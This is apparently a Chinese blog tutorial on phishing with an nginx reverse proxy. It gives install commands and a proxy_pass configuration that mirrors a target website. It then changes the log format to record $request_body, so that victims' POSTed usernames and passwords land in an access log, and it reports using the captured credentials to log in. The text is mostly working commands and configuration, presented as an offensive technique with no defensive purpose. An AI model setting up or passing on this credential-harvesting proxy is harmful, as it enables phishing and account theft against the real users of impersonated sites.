钓鱼技巧-Nginx反向代理伪造页面
2023-02-18 16:42:19 时间
nginx反向代理
nginx基本用法
nginx 启动
nginx -s reload 重新载入配置文件
nginx -s reopen 重启nginx
nginx -s stop 停止nginx
nginx安装
mkdir nginx
cd nginx
wget http://downloads.sourceforge.net/project/pcre/pcre/8.37/pcre-8.37.tar.gz
tar -xzpvf pcre-8.37.tar.gz
cd pcre-8.37
./configure
make && make install
pcre-config --version
yum -y install make zlib zlib-devel gcc-c++ libtool openssl openssl-devel
cd ..
wget http://nginx.org/download/nginx-1.20.1.tar.gz
tar -zxvf nginx-1.20.1.tar.gz
./configure
make && make install
启动nginx
cd /usr/local/nginx/sbin
./nginx
添加环境变量
cd ~
vim /etc/bashrc
添加
export PATH=$PATH:/usr/local/nginx/sbin
source /etc/bashrc
启动nginx,访问vps地址如下图为成功
nginx配置
vim /usr/local/nginx/conf/nginx.conf
location / {
proxy_next_upstream http_502 http_504 error timeout invalid_header;
proxy_pass http://xx.xx.xx.xx;
proxy_set_header Host xx.xx.xx.xx;
proxy_set_header X-Forwarded-For $remote_addr;
}
重新加载配置出现以下报错:
[root@VM-20-16-centos ~]# nginx -s reload
nginx: [emerg] https protocol requires SSL support in /usr/local/nginx/conf/nginx.conf:49
这个是因为nginx没有安装ssl模块,接下来配置让其支持ssl
./configure --prefix=/usr/local/nginx --with-http_stub_status_module --with-http_ssl_module
停止
nginx -s stop
make
把刚才编译的nginx 拷贝覆盖原来的nginx
cp ./objs/nginx /usr/local/nginx/sbin/
成功反代目标网站
获取账密信息
找到access.log的位置,获取访问和输入信息
find / -name "access.log"
vim /usr/local/nginx/logs/access.log
从图中我们发现日志没有显示post的参数内容,这时候需要对配置文件进行修改
- nginx.conf http { } 里面找位置 加上
$request_body
- server 添加访问日志输出
/usr/local/nginx/logs/host.access.log
http {
include mime.types;
default_type application/octet-stream;
log_format test '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent $request_body "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
#access_log logs/access.log main;
sendfile on;
#tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
#gzip on;
server {
listen 80;
server_name test;
#charset koi8-r;
access_log /usr/local/nginx/logs/host.access.log test;
nginx重启后,日志记录输出到 host.access.log
,成功获得密文信息,替换密文成功登录系统
相关文章
- 计算机的运行原理
- 操作系统高频面试题(2022最新整理)
- 利用宝塔面板搭建nginx及PhpMyadmin等环境
- 一键卸载宝塔Linux面板及运行环境命令
- 微信小程序Video组件实现视频、自定义播放按钮、封面图、封面图文字demo
- 微信小程序页面跳转传值
- Win10家庭版使用远程桌面连接失败
- 耶鲁两栖机器龟登Nature封面,一种部件搞定水上、陆地行动
- Crane 发布国内首个云原生应用碳排放计算优化器
- 7 Papers & Radios | 两栖机器龟登上Nature封面;深度去模糊综述论文入选IJCV
- SIGGRAPH Asia 2022|告别手Key!上科大提出实时面捕,精细到微表情
- 图灵奖得主Jack Dongarra:超级计算顶部还有很大空间
- 云图说丨手把手教你为容器应用配置弹性伸缩策略
- Spark优化之小文件是否需要合并?
- 如何让“哑”终端进化,你知道吗?
- Web前端性能优化,应该怎么做?
- 看DLI服务4核心如何提升云服务自动化运维
- 5G从小就梦想着自己要迎娶:高速率、低时延、大容量三个老婆
- 一文读懂GaussDB(for Mongo)的计算存储分离架构
- 9个常用ES6特性归纳(一般用这些就够了)